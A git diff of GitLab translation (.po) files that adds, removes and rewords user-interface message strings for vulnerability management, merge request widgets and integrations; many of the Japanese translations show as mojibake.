@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Riceverai notifiche solo per i commenti ai quale sei stato menzionato"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index 4ed672c3b99..04e0ff56dfc 100644
--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr " %{start} ã‹ã‚‰ %{end} ã¾ã§"
@@ -70,9 +70,6 @@ msgstr "「%{path}ã€ã¯ã€Œ%{ref}ã€ã«å­˜åœ¨ã—ã¾ã›ã‚“ã§ã—ãŸ"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "\"%{repository_name}\" ã®ã‚µã‚¤ã‚º (%{repository_size}) ãŒåˆ¶é™ã® %{limit} を超ãˆã¦ã„ã¾ã™ã€‚"
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "createInstance() ã«ã¯ \"el\" パラメータãŒå¿…è¦ã§ã™"
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d 件ã®ãƒ†ã‚¹ãƒˆã§ä¿®æ­£ã•ã‚Œã¾ã—ãŸ"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d グループ"
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "アクセスã§ããªã„ %d 個ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d メトリクス"
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] "%d 件ã®ã‚·ãƒ£ãƒ¼ãƒ‰ã‚’é¸æŠžæ¸ˆã¿"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d ã‚¿ã‚°"
@@ -342,6 +351,12 @@ msgstr[0] "パフォーマンス低下をé¿ã‘ã‚‹ãŸã‚ %s 個ã®ã‚³ãƒŸãƒƒãƒˆã‚
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 㨠%{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} ã¯ç„¡åŠ¹ãªIPアドレス範囲ã§ã™"
@@ -413,6 +428,10 @@ msgstr[0] "%{name} ㌠%{count} 件ã®æ‰¿èªã‚’è¦æ±‚ã—ã¦ã„ã¾ã™"
msgid "%{count} approvals from %{name}"
msgstr "%{name} ㌠%{count} 件ã®æ‰¿èªã‚’了承ã—ã¾ã—ãŸ"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr "%{count} ファイルãŒå¤‰æ›´ã•ã‚Œã¾ã—ãŸ"
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr "%{name} ã« %{resultsString} ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} ã¯æ—¢ã«åˆ¥ã®çµµæ–‡å­—ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} 㯠%{action} ã§ã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ«æ¸ˆã¿ã§ã™"
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} オープン, %{closedEpics} 完了"
@@ -744,6 +763,9 @@ msgstr "%{placeholder} 㯠有効ãªãƒ†ãƒ¼ãƒžã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} を追加ã™ã‚‹ãã¾ã›ã‚“ã§ã—ãŸ: %{error}"
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds} 秒"
@@ -819,9 +844,6 @@ msgstr "%{spanStart} 関数内%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} ã‹ã‚‰ %{end} ã¾ã§"
-msgid "%{state} epics"
-msgstr "%{state}エピック"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr "%{total} 件ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} 件ã®è­¦å‘ŠãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: 最åˆã® %{warningsDisplayed} を表示"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (マージã§ãã¾ã›ã‚“)"
@@ -1043,6 +1068,10 @@ msgstr "(除去ã—ã¾ã—ãŸ)"
msgid "(revoked)"
msgstr "(失効)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} 件以上"
@@ -1089,6 +1121,9 @@ msgstr "+%{more_reviewers_count} 人以上ã®ãƒ¬ãƒ“ューア"
msgid "+%{tags} more"
msgstr "+%{tags} 以上"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr "ã€ã¾ãŸã¯"
@@ -1369,9 +1404,6 @@ msgstr "%{name} ã®æ–°ã—ã„リリース %{tag} ãŒå…¬é–‹ã•ã‚Œã¾ã—ãŸã€‚ 詳ç
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "%{name} ã®æ–°ã—ã„リリース %{tag} ãŒå…¬é–‹ã•ã‚Œã¾ã—ãŸã€‚ リリースページã«ã‚¢ã‚¯ã‚»ã‚¹ã—ã¦è©³ç´°ã‚’確èªã—ã¦ãã ã•ã„:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "フォークã«æ–°ã—ã„ブランãƒãŒä½œæˆã•ã‚Œã€æ–°ã—ã„マージリクエストãŒé–‹å§‹ã—ã¾ã™ã€‚"
-
msgid "A new impersonation token has been created."
msgstr "æ–°ã—ã„å½è£…トークンãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "次ã®IPアドレスã‹ã‚‰ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸ã®ã‚µã‚¤ãƒ³ã‚¤ãƒ³ãŒè¡Œã‚ã‚Œã¾ã—ãŸ: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr "タイトルã¯å¿…須項目ã§ã™"
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr "アクセス トークン"
msgid "Access denied for your LDAP account."
msgstr "ã‚ãªãŸã® LDAP アカウントã®ã‚¢ã‚¯ã‚»ã‚¹ãŒæ‹’å¦ã•ã‚Œã¾ã—ãŸã€‚"
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "アクセスãŒæ‹’å¦ã•ã‚Œã¾ã—ãŸï¼ã“ã®ãƒªãƒã‚¸ãƒˆãƒªã«ãƒ‡ãƒ—ロイキーを追加ã§ãã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr "番å·ä»˜ãリストを追加"
msgid "Add a related issue"
msgstr "関連ã™ã‚‹ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’追加"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "テーブルを追加ã™ã‚‹"
msgid "Add a task list"
msgstr "タスクリストを追加"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Todoを追加"
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "デプロイフリーズを追加"
@@ -1936,9 +1971,6 @@ msgstr "æ–°ã—ã„アプリケーションを追加"
msgid "Add new directory"
msgstr "æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’追加"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr "以å‰ã«ãƒžãƒ¼ã‚¸ã—ãŸã‚³ãƒŸãƒƒãƒˆã‚’追加ã¾ãŸã¯å‰Šé™¤"
@@ -2008,6 +2040,9 @@ msgstr "ユーザーをグループã¸è¿½åŠ "
msgid "Add variable"
msgstr "変数ã®è¿½åŠ "
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Webhook ã®è¿½åŠ "
@@ -2053,9 +2088,6 @@ msgstr "Todoã¸è¿½åŠ ã—ã¾ã—ãŸã€‚"
msgid "Added an issue to an epic."
msgstr "イシューをエピックã«è¿½åŠ ã—ã¾ã—ãŸã€‚"
-msgid "Added at"
-msgstr "追加日時: "
-
msgid "Added for this merge request"
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«è¿½åŠ ã•ã‚Œã¾ã—ãŸ"
@@ -2098,8 +2130,8 @@ msgstr "%{epic_ref} ã‚’å­ã‚¨ãƒ”ックã¨ã—ã¦è¿½åŠ "
msgid "Adds %{labels} %{label_text}."
msgstr "%{labels} %{label_text} を追加。"
-msgid "Adds a Zoom meeting"
-msgstr "Zoom ミーティングを追加"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Todoを追加ã—ã¾ã™ã€‚"
@@ -2107,7 +2139,7 @@ msgstr "Todoを追加ã—ã¾ã™ã€‚"
msgid "Adds an issue to an epic."
msgstr "イシューをエピックã«è¿½åŠ ã€‚"
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr "最新ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼"
msgid "AdminArea|Maintainer"
msgstr "メンテナー"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "æ–°è¦ã‚°ãƒ«ãƒ¼ãƒ—"
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "統計ã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
